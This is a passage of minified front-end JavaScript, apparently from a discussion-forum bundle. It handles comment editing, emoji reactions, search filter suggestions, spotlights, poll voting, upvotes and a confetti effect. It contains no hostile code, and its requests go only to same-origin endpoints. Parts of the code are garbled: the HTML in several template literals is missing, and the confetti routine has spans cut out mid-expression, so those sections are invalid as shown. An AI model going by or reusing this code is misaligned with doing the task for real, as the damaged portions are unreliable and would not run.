e=>I(e)}),(0,d.N7)(".js-discussion-poll-form-component",{subscribe:e=>(0,l.RB)(e,"pollOptionRemoved",X)}),(0,r.w4)("keyup",".js-discussion-poll-form-component input",X);async function I(e){const t=e.closest(".js-comment"),n=j(t);if(n){if(n.querySelector(".js-preview-body"))return;const m=n.getAttribute("data-permissions-url"),y=L(n).targetType;m&&y&&await H(m,y)&&(J(t),D(t))}}o(I,"conditionallyRenderEditForm");async function H(e,t){return(await(await fetch(e,{headers:{Accept:"application/json"}})).json())[t].update}o(H,"fetchAndReturnUpdatePermission");function Z(e){const n=e.currentTarget.closest(".js-comment");J(n),D(n),G(n)}o(Z,"handleClick");function X(e){const n=e.currentTarget.closest(".js-comment");if(n){const s=n.querySelector(".js-discussion-poll-form-component");s&&nt(n,(0,$.T)(s))}}o(X,"handlePollModificationEvent");function D(e){const t=e.querySelector(".js-discussions-markdown-toolbar-placeholder:last-child");if(t){const n={textareaId:t.getAttribute("data-textarea-id")};A("template.js-discussions-markdown-toolbar-template",t,n)}}o(D,"insertMarkdownToolbar");function G(e){const t=e.querySelector(".js-discussions-poll-edit-placeholder");if(t){const n=t.getAttribute("data-poll-edit-url");if(n==="")return;A("template.js-discussions-poll-edit-template",t,{pollEditUrl:n})}}o(G,"insertPollEditForm");function J(e){const t=j(e);if(t){const n=L(t);A("template.js-discussions-edit-form-template",t,n),q(e,n)}}o(J,"insertEditForm");function q(e,t){const n=F(e);n&&A("template.js-discussions-edit-actions-template",n,t)}o(q,"insertEditFormActions");function tt(e){const t=F(e);t&&A("template.js-discussions-poll-confirmation-template",t,{})}o(tt,"insertPollEditConfirmationPrompt");function nt(e,t){const n=j(e);if(n.getAttribute("data-poll-confirmation")==="true"!==t)if(t)tt(e),n.setAttribute("data-poll-confirmation","true");else{const m=L(n);q(e,m),n.setAttribute("data-poll-confirmation","false")}}o(nt,"toggleFormActionVariant");function j(e){return e.querySelector(".js-edit-comment-form-container")}o(j,"editFormTargetContainer");function F(e){return e.querySelector(".js-discussions-edit-form-actions")}o(F,"editFormActionsContainer");function L(e){return{bodyVersion:e.getAttribute("data-body-version"),outerDivClasses:e.getAttribute("data-outer-div-classes"),repositoryId:e.getAttribute("data-repository-id"),targetBody:e.getAttribute("data-target-body"),targetType:e.getAttribute("data-target-type"),textareaId:e.getAttribute("data-textarea-id"),slashCommandUrl:e.getAttribute("data-slash-command-url"),pollEditUrl:e.getAttribute("data-poll-edit-url")}}o(L,"editFormTemplateReplacements");function A(e,t,n){const s=document.querySelector(e);s&&(t.innerHTML="",t.appendChild(new x.R(s,n)))}o(A,"insertTemplate"),(0,d.N7)(".js-optimistic-reaction-render-button",{subscribe:e=>(0,l.RB)(e,"click",S,{capture:!1})});function S(e){const t=e.currentTarget;if(t){const n=new _(t);setTimeout(()=>{n.render()},1)}}o(S,"handleReactionEvent");class _{constructor(t){this.clickedReactionButton=t}render(){if(!this.isReactionAlreadyRendered)return this.addNewReactionGroup();this.isAddingReaction?this.addReactionToGroup():this.removeReactionFromGroup()}addReactionToGroup(){this.existingReactionGroupCountContainer&&this.existingReactionGroup&&(this.existingReactionGroup.removeAttribute("hidden"),this.existingReactionGroup.classList.add("user-has-reacted"),this.existingReactionGroupCountContainer.textContent=`${this.existingReactionGroupCount+1}`,this.addReactionToPopoverReactionButtons())}removeReactionFromGroup(){var t;this.existingReactionGroupCount===1&&this.existingReactionGroup.setAttribute("hidden",""),this.existingReactionGroupCountContainer.textContent=`${this.existingReactionGroupCount-1}`,(t=this.existingReactionGroup)==null||t.classList.remove("user-has-reacted"),this.removeReactionFromPopoverReactionButtons()}addNewReactionGroup(){const t=this.newEmojiButtonFromTemplate();this.newEmojiButtonTemplateContainer&&t&&this.commentReactionsContainer&&(this.nextButtonGroup?this.reactionGroupsContainer.insertBefore(t,this.nextButtonGroup):this.reactionGroupsContainer.append(t),t.classList.add(this.tooltipPositionClass),this.addReactionToPopoverReactionButtons(),this.commentReactionsContainer.classList.contains("d-md-none")&&this.commentReactionsContainer.classList.add("has-reactions"))}newEmojiButtonFromTemplate(){if(this.newEmojiButtonTemplateContainer){const n=this.newEmojiButtonTemplateContainer.content.querySelector(".js-reaction-group-button");if(n)return n.cloneNode(!0)}}get nextButtonGroup(){if(this.newEmojiButtonFromTemplatePosition!==void 0&&this.newEmojiButtonFromTemplatePosition!==null){const t=this.reactionGroupsContainer.children;for(const n of t)if(Number(n.getAttribute("data-button-index-position"))>this.newEmojiButtonFromTemplatePosition)return n}}get commentContainer(){return this.clickedReactionButton.closest(".js-comment")}get buttonsContainer(){return this.commentContainer.querySelector(".js-reaction-buttons-container")}get reactionContent(){return this.clickedReactionButton.getAttribute("data-reaction-content")}get reactionGroup(){return this.buttonsContainer.querySelector(`.js-comment-reactions-options g-emoji[alias='${this.reactionContent}'`)}get existingReactionGroup(){if(this.reactionGroup)return this.reactionGroup.closest(".js-reaction-group-button")}get existingReactionGroupCountContainer(){if(this.existingReactionGroup)return this.existingReactionGroup.querySelector(".js-discussion-reaction-group-count")}get newEmojiButtonTemplateContainer(){return document.getElementById(`emoji-reaction-button-template-${this.reactionContent}`)}get commentReactionsContainer(){return this.buttonsContainer.closest(".js-reaction-buttons-container")}get reactionGroupsContainer(){return this.buttonsContainer.querySelector(".js-comment-reactions-options")}get isReactionAlreadyRendered(){return!!this.reactionGroup}get isAddingReaction(){if(this.existingReactionGroup)return!this.existingReactionGroup.classList.contains("user-has-reacted")}get existingReactionGroupCount(){return this.existingReactionGroupCountContainer?Number(this.existingReactionGroupCountContainer.innerHTML):0}get newEmojiButtonFromTemplatePosition(){const t=this.newEmojiButtonFromTemplate();if(t)return Number(t.getAttribute("data-button-index-position"))}get tooltipPositionClass(){return this.buttonsContainer.querySelectorAll("button").length>1?"tooltipped-s":"tooltipped-se"}addReactionToPopoverReactionButtons(){const t=this.commentContainer.querySelectorAll(".js-add-reaction-popover");for(const n of t){const s=n.querySelector(`button[data-reaction-content="${this.reactionContent}"]`);s.classList.add("border","color-border-default","color-bg-accent"),s.value.match(/unreact/)||(s.value=s.value.replace(/react/,"unreact"))}}removeReactionFromPopoverReactionButtons(){const t=this.commentContainer.querySelectorAll(".js-add-reaction-popover");for(const n of t){const s=n.querySelector(`button[data-reaction-content="${this.reactionContent}"]`);s.classList.remove("border","color-border-default","color-bg-accent"),s.value.match(/unreact/)&&(s.value=s.value.replace(/unreact/,"react"))}}}o(_,"OptimisticReactionRenderer");var N=a(97730);(0,d.N7)(".js-inline-comment-form-container",{add:e=>U(e)}),(0,i.on)("click",".js-discussions-previewable-comment-form",function({currentTarget:e}){P(e,{willFocus:!0})}),(0,d.N7)(".js-discussions-previewable-comment-form-auto-replace",{add:e=>P(e,{willFocus:!1})}),(0,i.on)("quote-selection",".js-discussion-quote-selection",function(e){const t=e.detail,n=t.closest(".js-timeline-discussion-comment");if(!n)return;const s=t.range;P(n,{willFocus:!0}),t.range=s});function U(e){const t=e.closest(".discussion-timeline-item.js-comment-container");t&&t.getAttribute("data-open-edit-form-after-load")==="true"&&(t.setAttribute("data-open-edit-form-after-load","false"),P(e,{willFocus:!0}))}o(U,"conditionallyInsertForm");function P(e,t){const n=e.closest(".js-timeline-discussion-comment"),s=n.querySelector(".js-discussions-previewable-comment-form-container");if(!s)return;const m=s.getAttribute("data-parent-comment-id"),y=s.getAttribute("data-anchor-id"),C=s.getAttribute("data-back-page"),B=document.querySelector("template.js-new-comment-template");m&&B&&!s.querySelector(".js-discussion-comment-form")&&(s.innerHTML="",s.appendChild(new x.R(B,{id:m,random:crypto.randomUUID(),anchorId:y,backPage:C}))),t.willFocus&&(0,N.j)(n)}o(P,"insertForm"),(0,v.AC)(".js-discussions-previewable-comment-form-container .js-discussion-comment-form",async function(e,t){var n;await t.text(),(0,N.w)(e),(n=e.closest(".js-discussions-previewable-comment-form-container").querySelector(".js-comment-form-error"))==null||n.classList.add("d-none")});var V=a(32750),k=a(36162),z=a(15205),et=a(56238),at=a(41311);async function ot(){const e=O(),t=e.value,s=t.slice(0,e.selectionEnd).split(/\s+/).pop();st().hidden=!1,O().setAttribute("aria-expanded","true");const[m,y]=s.split(":");y!=null?await Pt(m,y):Dt(m);const C=Lt();t.trim().length>0?(C.hidden=!1,(0,V.T_)(Q())):(C.hidden=!0,(0,V.QZ)(Q()))}o(ot,"updateSearchSuggestionResults");function Ct(){const e=O();e.value="",e.getAttribute("data-initial-value").trim().length===0?ot():(0,et.Bt)(Q())}o(Ct,"handleSearchClear");function Tt(e){switch(e.detail.hotkey){case"Enter":if(O().value.trim()!==""||lt().querySelector(".js-navigation-item.navigation-focus"))return;(0,et.Bt)(Q());return;case"Escape":st().hidden=!0,O().setAttribute("aria-expanded","false");break}}o(Tt,"handleSearchInputKeydown");function _t(e){if(e&&e.target){const t=e.target,n=O();n!=null&&n.setAttribute("aria-activedescendant",t.id)}}o(_t,"handleSearchFormFocus");function ct(){(0,V.jK)(Q()),st().hidden=!0,O().setAttribute("aria-expanded","false")}o(ct,"hideSearchSuggestions");function Rt(e){const t=O(),n=e.target;if(n.hasAttribute("data-search")){(0,et.Bt)(Q());return}let s=n.getAttribute("data-value");s[s.length-1]!==":"&&(s+=" ");const m=t.value.slice(0,t.selectionEnd).replace(/\S+$/,""),y=t.value.slice(t.selectionEnd);let C="";y.length>0&&y[0]!==" "&&(C=" "),t.value=m+s+C+y,e.preventDefault(),t.focus();const B=m.length+s.length;t.setSelectionRange(B,B),(0,i.f)(t,"input")}o(Rt,"handleSelectedSuggestionResultEvent");function Ft(){const e=O(),t=e.value.length;e.setSelectionRange(t,t),e.focus(),ct()}o(Ft,"restoreSearchInputFocus");function Q(){return document.querySelector(".js-discussion-search-form")}o(Q,"getSearchForm");function O(){return document.querySelector(".js-discussion-search-input")}o(O,"getSearchInput");function st(){return document.querySelector(".js-discussion-search-autocomplete-dropdown")}o(st,"getSearchAutocompleteDropdown");function lt(){return document.querySelector(".js-discussion-search-autocomplete-results")}o(lt,"getSearchAutocompleteResultsContainer");function Lt(){return document.querySelector(".js-discussion-search-clear")}o(Lt,"getSearchClearButton");const xt=(0,z.Z)(Bt);function Bt(){return[{value:"author:",description:"filter by discussion author"},{value:"category:",description:"filter by discussion category"},{value:"is:",description:"filter by answered or unanswered"},{value:"label:",description:"filter by discussion label"}]}o(Bt,"fetchQualifierSuggestions");async function Pt(e,t){const n=Mt(e),s=dt(n,t).then(m=>m.map(y=>({value:`${e}:${y.value}`,description:y.description})));mt(s)}o(Pt,"renderValueSuggestions");async function Mt(e){switch(e){case"author":return It();case"category":return qt();case"label":return kt();case"is":return Ot();default:return[]}}o(Mt,"fetchSuggestionsForQualifier");const ut=(0,z.Z)(async e=>await(await fetch(e,{headers:{Accept:"application/json"}})).json());async function It(){const e=O().getAttribute("data-suggestable-authors-path");return ut(e)}o(It,"fetchAuthorSuggestions");async function qt(){return JSON.parse(O().getAttribute("data-suggestable-categories"))}o(qt,"fetchCategorySuggestions");async function kt(){const e=O().getAttribute("data-suggestable-labels-path");return ut(e)}o(kt,"fetchLabelSuggestions");async function Ot(){return[{value:"answered"},{value:"unanswered"}]}o(Ot,"fetchTypeSuggestions");function Dt(e){const t=xt(),n=dt(t,e,{fuzzy:!1}).then(s=>s.length===0?t:s);mt(n)}o(Dt,"renderQualifierSuggestions");async function dt(e,t,{fuzzy:n}={fuzzy:!0}){const s=await e,m=t.trim();return!m||m.length===0?s:s.filter(y=>n?y.value.includes(m):y.value.startsWith(m))}o(dt,"filterSuggestionsList");async function mt(e){const t=e.then(n=>n.length===0?k.dy``:ft());(0,k.sY)(k.dy` +
    + ${Nt()} ${(0,at.C)(t,ft())} + ${(0,at.C)(Ut(e),k.dy` loading... `)} +
    + `,lt())}o(mt,"renderSuggestionDropdown");function ft(){return k.dy`
    + Suggested filters +
    `}o(ft,"renderSuggestionsTitle");function Nt(){const e=O().value.trim();return e.length===0?k.dy``:k.dy` +
    + ${e} + +
    + `}o(Nt,"renderSearchSuggestion");async function Ut(e){return(await e).map((n,s)=>k.dy` +
    + ${n.value} + ${n.description} +
    + `)}o(Ut,"renderSuggestionList");var $t=a(29946);(0,i.on)("focusin",".js-discussion-search-input",ot),(0,i.on)("focusout:delay",".js-discussion-search-input",ct),(0,i.on)("navigation:open",".js-discussion-search-form",e=>{Rt(e)}),(0,i.on)("navigation:focus",".js-discussion-search-form",e=>{_t(e)}),(0,i.on)("navigation:keydown",".js-discussion-search-form",e=>{Tt(e)}),(0,d.N7)(".js-discussion-search-input",e=>{e.addEventListener("input",ot)}),(0,i.on)("click",".js-discussion-search-clear",Ct);let it=!1;(0,i.on)("submit",".js-discussion-search-form",()=>(it=!0,!0));function pt(){it&&Ft(),it=!1}o(pt,"restoreFocus"),document.addEventListener("pjax:end",pt),document.addEventListener($t.QE.SUCCESS,pt);var Ht=a(42150);(0,d.N7)(".js-confetti-party",()=>{(0,Ht.Z)()}),(0,i.on)("change",".js-discussion-spotlight-preview-trigger",function(e){const t=e.currentTarget,s=t.closest("form").querySelectorAll(`input[name="${t.name}"]`);for(const m of s){const y=m.closest("label");m.checked?y.setAttribute("aria-selected","true"):y.setAttribute("aria-selected","false")}Vt(t)}),(0,i.on)("click",".js-toggle-manage-discussion-spotlight",function(e){e.target instanceof HTMLElement});function Vt(e){const n=ht(e).querySelector(".js-discussion-spotlight-preview");Gt(n)}o(Vt,"previewTriggerChanged");async function Gt(e){const t=ht(e),n=e.getAttribute("data-url"),s=new URL(n,window.location.origin),m=t.querySelector(".js-discussion-spotlight-form");s.search+=(s.search?"&":"")+(0,et.qC)(m);let y;try{y=await(0,w.a)(document,s.toString())}catch{return}e.replaceWith(y)}o(Gt,"updateSpotlightPreview");function ht(e){return e.closest(".js-manage-discussion-spotlight-container")}o(ht,"getManageSpotlightContainer"),(0,v.AC)(".js-spotlight-notice-dismiss",async function(e,t){await t.text(),e.closest(".js-notice").remove(),document.querySelector(".js-discussions-categories")&&document.querySelector(".js-discussions-categories").classList.remove("v-hidden")}),(0,d.N7)(".js-discussion-spotlights-sortable",{async add(e){const{Sortable:t}=await a.e("app_assets_modules_github_sortable-behavior_ts").then(a.bind(a,36962));t.create(e,{animation:150,handle:".js-discussion-spotlight-handle",onUpdate:async()=>{const n=e.getAttribute("data-update-url"),m=Array.from(e.querySelectorAll(".js-discussion-spotlight")).map(C=>C.getAttribute("data-id")),y=e.parentElement.querySelector(".js-data-url-csrf");!y||await fetch(n,{method:"PUT",mode:"same-origin",body:JSON.stringify({spotlight_ids:m}),headers:{"Content-Type":"application/json",Accept:"application/json","Scoped-CSRF-Token":y.value,"X-Requested-With":"XMLHttpRequest"}})}})}}),(0,i.on)("click",".js-discussion-comment-thread-expand-button",function({currentTarget:e}){const t=gt(e);!t||Wt(t)}),(0,i.on)("click",".js-discussions-fetch-all-paginated-comments",function({currentTarget:e}){const t=gt(e);!t||Kt(t)});function Wt(e){Xt(e)&&e.setAttribute("data-open-edit-form-after-load","true")}o(Wt,"conditionallyOpenEditFormAfterLoad");function Kt(e){const t=e.querySelector(".js-discussion-comment-thread-expand-button");t&&(e.setAttribute("data-open-edit-form-after-load","true"),t.click())}o(Kt,"clickShowMoreButton");function gt(e){return e.closest(".discussion-timeline-item.js-comment-container")}o(gt,"commentContainerFor");function Xt(e){const t=e.querySelector(".js-inline-comment-form-container");return t?t.classList.contains("open"):!1}o(Xt,"isReplyFormOpen"),(0,d.N7)(".js-remove-error-state-on-click > details",{add:e=>Qt(e)});function Qt(e){var t;const n=(t=document.getElementById("discussion_category_id"))==null?void 0:t.getAttribute("value");if(!n)return;const s=e.querySelector(`.discussion-category-${n}`);!s||s.click()}o(Qt,"conditionallyReselectCategory");var ee=a(62805),vt=a(12981);const Zt=o(async(e,t,n,s)=>{const m=new FormData;m.append("question",n);for(const y of s)m.append("options[]",y);return await fetch(e,{body:m,method:"POST",mode:"same-origin",headers:{"Scoped-CSRF-Token":t}})},"sendRequest");class yt{constructor(t){this.pollForm=t,this.pollPreviewUrl=this.pollForm.getAttribute("data-poll-preview-url")||""}hide(){var t;this.pollForm.hidden=!0,(t=this.pollForm)==null||t.setAttribute("aria-hidden","true")}show(){var t;this.pollForm.hidden=!1,(t=this.pollForm)==null||t.setAttribute("aria-hidden","false")}getCsrfInputValue(){const t=this.pollForm.querySelector(".js-poll-preview-url-post-csrf");return t?t.value:""}getOptions(){const t=[],n=this.pollForm.querySelector("#poll-option-container");if(!n)return t;const s=n.querySelectorAll(".js-poll-option");for(const m of s)m.value&&t.push(m.value);return t}getQuestion(){const t=this.pollForm.querySelector(".js-poll-form-input-question");return t?t.value:""}}o(yt,"PollFormElement");class bt{constructor(t){this.pollFormElement=t}hidePollForm(){this.pollFormElement.hide()}showPollForm(){this.pollFormElement.show()}async getPreview(){const t=this.pollFormElement.getQuestion(),n=this.pollFormElement.getOptions();return t&&n.length>0?await(await Zt(this.pollFormElement.pollPreviewUrl,this.pollFormElement.getCsrfInputValue(),t,n)).text():""}}o(bt,"Poll");let K;(0,d.N7)(".js-discussion-poll-form-component",e=>{K=new bt(new yt(e))}),(0,i.on)("preview:rendered",".js-previewable-comment-form",async function(e){if(!K)return;const n=e.currentTarget.querySelector(".comment-body"),s=await K.getPreview();n.append((0,vt.r)(document,s)),K.hidePollForm()}),(0,i.on)("poll-preview:toggle:off",".js-discussion-poll-form-component",async function(){if(!K)return;const e=document.querySelector(".js-discussion-category-select");if(e){const t=e.querySelector("#category-select-header");if(!t)return;t.getAttribute("data-supports-polls")==="true"&&K.showPollForm()}else K.showPollForm()});const zt=o(async(e,t,n)=>{const s=new FormData;return s.append("option_id",n),await fetch(e,{body:s,method:"POST",mode:"same-origin",headers:{"Scoped-CSRF-Token":t}})},"polls_voting_sendRequest");class Et{constructor(t){this.optionsElement=t}checkedValue(){var t;const n=(t=this.optionsElement)==null?void 0:t.querySelector(".js-discussion-poll-option:checked");return n==null?void 0:n.value}hide(){var t;this.optionsElement&&(this.optionsElement.hidden=!0),(t=this.optionsElement)==null||t.setAttribute("aria-hidden","true")}show(){var t;this.optionsElement&&(this.optionsElement.hidden=!1),(t=this.optionsElement)==null||t.setAttribute("aria-hidden","false")}}o(Et,"PollOptionsElement");class wt{constructor(t){this.resultsElement=t}hide(){var t;this.resultsElement&&(this.resultsElement.hidden=!0),(t=this.resultsElement)==null||t.setAttribute("aria-hidden","true")}show(){var t;this.resultsElement&&(this.resultsElement.hidden=!1),(t=this.resultsElement)==null||t.setAttribute("aria-hidden","false")}}o(wt,"PollResultsElement");class St{constructor(t){this.pollForm=t,this.resultsElement=new wt(t.querySelector(".js-discussion-poll-results")),this.optionsElement=new Et(t.querySelector(".js-discussion-poll-options")),this.hideResultsButton=t.querySelector(".js-poll-hide-results"),this.showResultsButton=t.querySelector(".js-poll-show-results"),this.voteButton=t.querySelector(".js-discussion-poll-vote-button"),this.voteUrl=this.pollForm.getAttribute("data-vote-url")||"",this.pollUrl=this.pollForm.getAttribute("data-poll-url")||"",this.pollLocked=this.pollForm.getAttribute("data-poll-locked")||""}getCsrfInputValue(){const t=this.pollForm.querySelector(".js-data-url-post-csrf");return t?t.value:""}hideResults(){var t,n,s,m;this.resultsElement.hide(),this.optionsElement.show(),this.hideResultsButton&&(this.hideResultsButton.hidden=!0),(t=this.hideResultsButton)==null||t.setAttribute("aria-hidden","true"),this.showResultsButton&&(this.showResultsButton.hidden=!1),(n=this.showResultsButton)==null||n.setAttribute("aria-hidden","false"),this.pollLocked==="true"?(s=this.voteButton)==null||s.setAttribute("aria-disabled","true"):(m=this.voteButton)==null||m.setAttribute("aria-disabled","false")}showResults(){var t,n,s;this.resultsElement.show(),this.optionsElement.hide(),this.hideResultsButton&&(this.hideResultsButton.hidden=!1),(t=this.hideResultsButton)==null||t.setAttribute("aria-hidden","false"),this.showResultsButton&&(this.showResultsButton.hidden=!0),(n=this.showResultsButton)==null||n.setAttribute("aria-hidden","true"),(s=this.voteButton)==null||s.setAttribute("aria-disabled","true")}}o(St,"polls_voting_PollFormElement");class jt{constructor(t){this.pollFormElement=t,this.bindHideResultsClick(t.hideResultsButton),this.bindShowResultsClick(t.showResultsButton),this.bindVoteClick(t.voteButton)}bindHideResultsClick(t){t==null||t.addEventListener("click",async()=>{this.hideResults()})}bindShowResultsClick(t){t==null||t.addEventListener("click",async()=>{this.showResults()})}bindVoteClick(t){t==null||t.addEventListener("click",async()=>{this.vote()})}async vote(){const t=this.pollFormElement.optionsElement.checkedValue();if(t&&(await zt(this.pollFormElement.voteUrl,this.pollFormElement.getCsrfInputValue(),t)).ok)try{const m=await(await fetch(this.pollFormElement.pollUrl,{headers:{Accept:"text/html"}})).text();this.pollFormElement.pollForm.replaceWith((0,vt.r)(document,m))}catch{return}}hideResults(){this.pollFormElement.hideResults()}showResults(){this.pollFormElement.showResults()}}o(jt,"polls_voting_Poll"),(0,d.N7)(".js-discussion-poll-component",e=>{new jt(new St(e))});var Yt=a(7739);const Jt=new IntersectionObserver(function(e){for(const t of e)t.isIntersecting&&(t.target.hidden=!0)},{root:null,rootMargin:"0px",threshold:.1});(0,d.N7)(".js-whats-new",e=>Jt.observe(e)),(0,i.on)("click",".js-whats-new-state",e=>{var t;((t=e.target)==null?void 0:t.parentNode).scrollIntoView({behavior:"smooth",block:"start"})});const rt=o(()=>{const e=document.querySelector(".js-whats-new-state");!e||(e.hidden=!1)},"showWhatsNew");document.addEventListener("pjax:end",rt),document.addEventListener("turbo:load",rt),async function(){await Yt.x,setTimeout(rt,1e3)}()},47930:(T,E,a)=>{a.d(E,{S:()=>h});function l(f){const c=document.querySelectorAll(f);if(c.length>0)return c[c.length-1]}o(l,"queryLast");function d(){const f=l("meta[name=analytics-location]");return f?f.content:window.location.pathname}o(d,"pagePathname");function v(){const f=l("meta[name=analytics-location-query-strip]");let c="";f||(c=window.location.search);const i=l("meta[name=analytics-location-params]");i&&(c+=(c?"&":"?")+i.content);for(const r of document.querySelectorAll("meta[name=analytics-param-rename]")){const u=r.content.split(":",2);c=c.replace(new RegExp(`(^|[?&])${u[0]}($|=)`,"g"),`$1${u[1]}$2`)}return c}o(v,"pageQuery");function h(){return`${window.location.protocol}//${window.location.host}${d()+v()}`}o(h,"requestUri")},22485:(T,E,a)=>{a.d(E,{N:()=>v,x:()=>h});var l=a(7739);let d=null;(async function(){await l.x,f()})();function v(i){h(c(i))}o(v,"announceFromElement");function h(i){!d||(d.textContent="",d.textContent=i)}o(h,"announce");function f(){d=document.createElement("div"),d.setAttribute("aria-live","polite"),d.classList.add("sr-only"),document.body.append(d)}o(f,"createNoticeContainer");function c(i){return(i.getAttribute("aria-label")||i.innerText||"").trim()}o(c,"getTextContent")},42150:(T,E,a)=>{a.d(E,{Z:()=>nt});const l=Math.random,d=Math.cos,v=Math.sin,h=Math.PI,f=h*2,c=40,i=3,r=12-i,u=10,b=100,p=-.1,w=-p-p,M=.13,W=.18,g=.4,R=.7-g;let x,$;const I=[],H=["#6a737d","#0366d6","#28a745","#ffd33d","#f66a0a","#6f42c1","#ea4aaa"];function Z(){const j=Math.floor(Math.random()*H.length);return H[j]}o(Z,"colorTheme");function X(j,F,L){return(1-d(h*L))/2*(F-j)+j}o(X,"interpolation");const D=1/u,G=D+D;function J(){const j=[D,1-D];let F=1-G;const L=[0,1];for(;F;){let A=F*l(),S,_,N,U,P;for(S=0,_=j.length,F=0;S<_;S+=2){if(U=j[S],P=j[S+1],N=P-U,A0;S-=2)_=S-1,U=j[_],P=j[S],U>=V&&Uk?j[_]=k:j.splice(_,2):UV&&(P<=k?j[S]=V:j.splice(S,0,V,k));for(S=0,_=j.length,F=0;S<_;S+=2)F+=j[S+1]-j[S]}return L.sort()}o(J,"createPoisson");const q=document.createElement("div");q.style.position="fixed",q.style.top="0",q.style.left="0",q.style.width="100%",q.style.height="0",q.style.overflow="visible",q.style.zIndex="9999";class tt{constructor(F){this.frame=0,this.outer=document.createElement("div"),this.inner=document.createElement("div"),this.outer.appendChild(this.inner),this.outer.style.position="absolute",this.outer.style.width=`${i+r*l()}px`,this.outer.style.height=`${i+r*l()}px`,this.inner.style.width="100%",this.inner.style.height="100%",this.inner.style.backgroundColor=F(),this.outer.style.perspective="50px",this.outer.style.transform=`rotate(${360*l()}deg)`,this.theta=360*l(),this.axis=`rotate3D(${d(360*l())},${d(360*l())},0,`,this.inner.style.transform=`${this.axis}${this.theta}deg)`,this.dTheta=g+R*l(),this.x=window.innerWidth*l(),this.y=-b,this.dx=v(p+w*l()),this.dy=M+W*l(),this.outer.style.left=`${this.x}px`,this.outer.style.top=`${this.y}px`,this.splineX=J(),this.splineY=[];const L=this.splineX.length-1;for(let A=1;A=this.splineX[_];)S=_++;const N=X(this.splineY[S],this.splineY[_],(A-this.splineX[S])/(this.splineX[_]-this.splineX[S]));return A*=f,this.inner.style.transform=`${this.axis}${this.theta}deg)`,this.outer.style.left=`${this.x+N*d(A)}px`,this.outer.style.top=`${this.y+N*v(A)}px`,this.y>F+b}}o(tt,"Confetto");function nt(j){const F=j==null?5e3:j;if(!$){document.body.appendChild(q);const L=o(()=>{const _=new tt(Z);I.push(_),q.appendChild(_.outer),x=window.setTimeout(L,c*l())},"addConfetto");L();let A;const S=o(_=>{const N=A?_-A:0;A=_;const U=window.innerHeight;for(let P=I.length-1;P>=0;--P)I[P].update(U,N)&&(q.removeChild(I[P].outer),I.splice(P,1));if(x||I.length){$=requestAnimationFrame(S);return}document.body.removeChild(q),$=void 0},"loop");window.setTimeout(function(){clearTimeout(x),x=void 0},F),requestAnimationFrame(S)}}o(nt,"poof")},97730:(T,E,a)=>{a.d(E,{j:()=>h,w:()=>f});var l=a(59753),d=a(55741),v=a(45075);(0,l.on)("click",".js-toggle-inline-comment-form",function(c){const i=c.currentTarget.closest(".js-line-comments");h(i)}),(0,l.on)("quote-selection",".js-line-comments",function(c){h(c.currentTarget),c.stopPropagation()}),(0,v.w4)("keydown",".js-inline-comment-form-container form .js-comment-field",function(c){const i=c.target;if(!i.classList.contains("js-navigation-enable")&&c.key==="Escape"&&i.value.length===0){const r=i.closest("form");f(r),c.preventDefault()}}),(0,l.on)("click",".js-hide-inline-comment-form",function(c){const i=c.currentTarget.closest("form");!(0,d.T)(i)||confirm(c.target.getAttribute("data-confirm-cancel-text"))?f(i):c.preventDefault()});function h(c){var i;const r=c.querySelector(".js-inline-comment-form-container");r.classList.add("open"),(i=r.querySelector(".js-write-tab"))==null||i.click(),r.querySelector(".js-comment-field").focus(),(0,l.f)(r,"inlinecomment:focus")}o(h,"focusForm");function f(c){c.reset();const i=c.closest(".js-inline-comment-form-container");i.classList.remove("open");const r=i.querySelector(".js-multi-line-preview");r&&(r.hidden=!0),(0,l.f)(i,"inlinecomment:collapse")}o(f,"blurForm")},62805:(T,E,a)=>{var l=a(22485),d=a(64463);const v=o(async(i,r,u,b)=>{const p=new FormData;return b===!0&&p.append("upvote","true"),await fetch(i,{body:u==="delete"?"":p,method:u,mode:"same-origin",headers:{"Scoped-CSRF-Token":r}})},"sendRequest");class h{constructor(r){this.voteCountElement=r}getLabel(){var r;return((r=this.voteCountElement)==null?void 0:r.getAttribute("data-upvote-label"))||""}getText(){var r;return((r=this.voteCountElement)==null?void 0:r.textContent)||""}}o(h,"VoteCountElement");class f{constructor(r){this.voteForm=r,this.voteButton=this.voteForm.querySelector(".js-upvote-button"),this.defaultVoteCountElement=new h(r.querySelector(".js-default-vote-count")),this.upvotedCountElement=new h(r.querySelector(".js-upvoted-vote-count")),this.url=this.voteForm.getAttribute("data-url")||""}isUpvoted(){return this.voteForm.getAttribute("data-upvoted")==="true"}getCsrfDeleteInputValue(){const r=this.voteForm.querySelector(".js-data-url-delete-csrf");return r?r.value:""}getCsrfPutInputValue(){const r=this.voteForm.querySelector(".js-data-url-put-csrf");return r?r.value:""}simulateUpvote(){var r,u,b,p;this.voteForm.setAttribute("data-upvoted","true"),this.voteForm.getAttribute("data-new-upvote")&&((r=this.voteForm.querySelector(".js-upvote-button"))==null||r.classList.add("user-has-reacted","color-bg-accent"),(u=this.voteForm.querySelector(".js-upvote-button"))==null||u.classList.remove("color-fg-muted")),this.voteForm.classList.add("is-upvoted"),(b=this.voteButton)==null||b.setAttribute("aria-label",this.upvotedCountElement.getLabel()),(p=this.voteButton)==null||p.setAttribute("aria-pressed","true"),(0,l.x)(`${this.upvotedCountElement.getText()} Upvotes`)}simulateUpvoteDeletion(){var r,u,b,p;this.voteForm.setAttribute("data-upvoted","false"),this.voteForm.getAttribute("data-new-upvote")&&((r=this.voteForm.querySelector(".js-upvote-button"))==null||r.classList.remove("user-has-reacted","color-bg-accent"),(u=this.voteForm.querySelector(".js-upvote-button"))==null||u.classList.add("color-fg-muted")),this.voteForm.classList.remove("is-upvoted"),(b=this.voteButton)==null||b.setAttribute("aria-label",this.defaultVoteCountElement.getLabel()),(p=this.voteButton)==null||p.setAttribute("aria-pressed","false"),(0,l.x)(`${this.defaultVoteCountElement.getText()} Upvotes`)}displayUpVoteError(r){const u=this.voteForm.querySelector(".js-upvote-error");u instanceof HTMLElement&&(u.textContent=r,u.hidden=!1)}hideVoteErrors(){const r=this.voteForm.querySelector(".js-upvote-error");r instanceof HTMLElement&&(r.hidden=!0)}}o(f,"VoteFormElement");class c{constructor(r){this.voteFormElement=r}animateUpvote(r){r?this.voteFormElement.simulateUpvoteDeletion():this.voteFormElement.simulateUpvote()}animateUpvoteUndo(r){r?this.voteFormElement.simulateUpvote():this.voteFormElement.simulateUpvoteDeletion()}async click(){this.voteFormElement.hideVoteErrors();const r=this.voteFormElement.isUpvoted(),u=r?this.voteFormElement.getCsrfDeleteInputValue():this.voteFormElement.getCsrfPutInputValue(),b=r?"delete":"put";this.animateUpvote(r);const p=await 